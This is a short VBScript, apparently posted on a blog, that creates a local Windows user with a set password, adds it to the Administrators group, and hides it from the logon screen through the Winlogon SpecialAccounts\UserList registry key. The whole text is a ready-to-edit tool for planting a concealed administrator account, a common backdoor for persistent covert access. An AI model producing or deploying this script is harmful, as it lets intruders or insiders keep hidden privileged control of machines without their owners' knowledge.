VBS Script
On Error Resume Next
Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
Set wshNetwork = WScript.CreateObject( "WScript.Network" )
strComputer = wshNetwork.ComputerName
'<<<<Edit next two lines>>>>>>>>
strPassword = "password"
strUser="Username"
Set colAccounts = GetObject("WinNT://" & strComputer)
Set objUser = colAccounts.Create("user", strUser)
objUser.SetPassword strPassword
objUser.SetInfo
Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)
If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD Then
objUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWD
End If
objUser.SetInfo
'Add user to Local Administrators Group
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
objGroup.Add(objUser.ADsPath)
'Hide User Account
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set ObjRegistry = _
GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _
& strComputer & "\root\default:StdRegProv")
strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)
Set oReg=GetObject( _
"winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
oReg.SetDWORDValue _
HKEY_LOCAL_MACHINE,strKeyPath,strUser,0
WScript.Echo "Username Created"
WScript.Quit
No comments:
Post a Comment